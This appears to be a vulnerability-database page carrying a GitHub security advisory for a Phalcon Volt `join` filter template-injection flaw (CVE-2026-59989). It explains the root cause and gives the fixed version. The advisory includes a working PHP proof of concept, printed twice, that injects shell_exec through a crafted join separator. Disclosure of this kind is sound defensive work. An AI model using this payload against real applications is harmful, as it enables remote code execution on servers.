GHSA-HRWP-4HH9-C8R8

Vulnerability from github – Published: 2026-08-21 20:55 – Updated: 2026-08-27 16:33
VLAI
Summary
Phalcon Volt compiler `join` filter compile-time PHP code injection (SSTI leads to RCE)
Details

Summary

The Volt template compiler in Phalcon generates the PHP for the join filter by string-concatenating the filter's raw template-literal argument bytes with no escaping. The separator literal is dropped verbatim between two single quotes the compiler emits, and the piped array argument is emitted completely bare. A Volt template whose join arguments are attacker-influenced can therefore break out of the generated join('…') call and inject arbitrary PHP into the compiled template. Volt writes that compiled template to a cache file and require()s it at render time, so the injected PHP executes i.e. compile-time PHP code injection (server-side template injection -> remote code execution) for any application that compiles attacker-controlled Volt source.

Details

Root cause

phalcon/Mvc/View/Engine/Volt/Compiler.zep:2544-2546:

case "join":
    return "join('" . funcArguments[1]["expr"]["value"]
        . "', " . funcArguments[0]["expr"]["value"] . ")";

funcArguments[1]["expr"]["value"] (the separator) and funcArguments[0]["expr"]["value"] (the piped array) are the raw values of the parsed template tokens. Unlike every other expression in the compiler, they are not routed through expression() and receive no escaping: the separator value is spliced verbatim inside the join('' quotes with no neutralisation of ', and the array value is emitted with no quoting at all. Volt's scanner stores string-literal bytes verbatim (escape sequences are not decoded), so attacker bytes survive intact into the generated PHP.

Generated-C ground truth -> build/phalcon/phalcon.zep.c (Phalcon 5.15.0):

ZEPHIR_CONCAT_SVSVS(return_value, "join('", &_19$$24, "', ", &_22$$24, ")");

i.e. literally "join('" + separator + "', " + array + ")" with both attacker-controlled fragments unescaped.

The compiled output is then written to a cache file and required by Phalcon\Mvc\View\Engine\Volt::render(), so any PHP spliced in by the attacker runs at render time.

PoC

<?php
use Phalcon\Mvc\View\Engine\Volt\Compiler;

$cmd = 'id; uname -a; hostname';

$b64 = base64_encode($cmd);
$tpl = "{{ ['x'] | join(\"',[]); echo shell_exec(base64_decode('$b64')); //\") }}";

$compiled = (new Compiler())->compileString($tpl);

$f = tempnam(sys_get_temp_dir(), 'volt') . '.php';
file_put_contents($f, $compiled);
include $f;
unlink($f);

image

Impact

Where an application compiles Volt source that is wholly or partly attacker-controlled, this yields remote code execution in the web-server process.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.15.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phalcon/cphalcon"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.16.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59989"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-21T20:55:56Z",
    "nvd_published_at": "2026-08-21T21:17:00Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nThe Volt template compiler in Phalcon generates the PHP for the `join` filter by string-concatenating the filter\u0027s **raw template-literal argument bytes** with no escaping. The separator literal is dropped verbatim between two single quotes the compiler emits, and the piped array argument is emitted completely bare. A Volt template whose `join` arguments are attacker-influenced can therefore break out of the generated `join(\u0027\u2026\u0027)` call and inject arbitrary PHP into the compiled template. Volt writes that compiled template to a cache file and `require()`s it at render time, so the injected PHP executes i.e. compile-time PHP code injection (server-side template injection -\u003e remote code execution) for any application that compiles attacker-controlled Volt source.\n\n## Details \n\n### Root cause\n\n`phalcon/Mvc/View/Engine/Volt/Compiler.zep:2544-2546`:\n\n```zephir\ncase \"join\":\n    return \"join(\u0027\" . funcArguments[1][\"expr\"][\"value\"]\n        . \"\u0027, \" . funcArguments[0][\"expr\"][\"value\"] . \")\";\n```\n\n`funcArguments[1][\"expr\"][\"value\"]` (the separator) and `funcArguments[0][\"expr\"][\"value\"]` (the piped array) are the **raw values** of the parsed template tokens. Unlike every other expression in the compiler, they are **not** routed through `expression()` and receive no escaping: the separator value is spliced verbatim inside the `join(\u0027` \u2026 `\u0027` quotes with no neutralisation of `\u0027`, and the array value is emitted with no quoting at all. Volt\u0027s scanner stores string-literal bytes verbatim (escape sequences are not decoded), so attacker bytes survive intact into the generated PHP.\n\n**Generated-C ground truth** -\u003e `build/phalcon/phalcon.zep.c` (Phalcon 5.15.0):\n\n```c\nZEPHIR_CONCAT_SVSVS(return_value, \"join(\u0027\", \u0026_19$$24, \"\u0027, \", \u0026_22$$24, \")\");\n```\n\ni.e. literally `\"join(\u0027\" + separator + \"\u0027, \" + array + \")\"` with both attacker-controlled fragments unescaped.\n\nThe compiled output is then written to a cache file and `require`d by `Phalcon\\Mvc\\View\\Engine\\Volt::render()`, so any PHP spliced in by the attacker runs at render time.\n\n## PoC \n\n```php\n\u003c?php\nuse Phalcon\\Mvc\\View\\Engine\\Volt\\Compiler;\n\n$cmd = \u0027id; uname -a; hostname\u0027;\n\n$b64 = base64_encode($cmd);\n$tpl = \"{{ [\u0027x\u0027] | join(\\\"\u0027,[]); echo shell_exec(base64_decode(\u0027$b64\u0027)); //\\\") }}\";\n\n$compiled = (new Compiler())-\u003ecompileString($tpl);\n\n$f = tempnam(sys_get_temp_dir(), \u0027volt\u0027) . \u0027.php\u0027;\nfile_put_contents($f, $compiled);\ninclude $f;\nunlink($f);\n\n```\n\n\u003cimg width=\"1226\" height=\"386\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4d5da3f4-0bc9-41d9-b741-13c9ea9b08fe\" /\u003e\n\n\n\n\n\n## Impact\n\nWhere an application compiles Volt source that is wholly or partly attacker-controlled, this yields **remote code execution** in the web-server process.",
  "id": "GHSA-hrwp-4hh9-c8r8",
  "modified": "2026-08-27T16:33:43Z",
  "published": "2026-08-21T20:55:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/phalcon/cphalcon/security/advisories/GHSA-hrwp-4hh9-c8r8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59989"
    },
    {
      "type": "WEB",
      "url": "https://github.com/phalcon/cphalcon/pull/17217"
    },
    {
      "type": "WEB",
      "url": "https://github.com/phalcon/cphalcon/commit/e434061be3b7161930476c1368c868badc71e1bd"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/phalcon/cphalcon"
    },
    {
      "type": "WEB",
      "url": "https://github.com/phalcon/cphalcon/releases/tag/v5.16.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Phalcon Volt compiler `join` filter compile-time PHP code injection (SSTI leads to RCE)"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…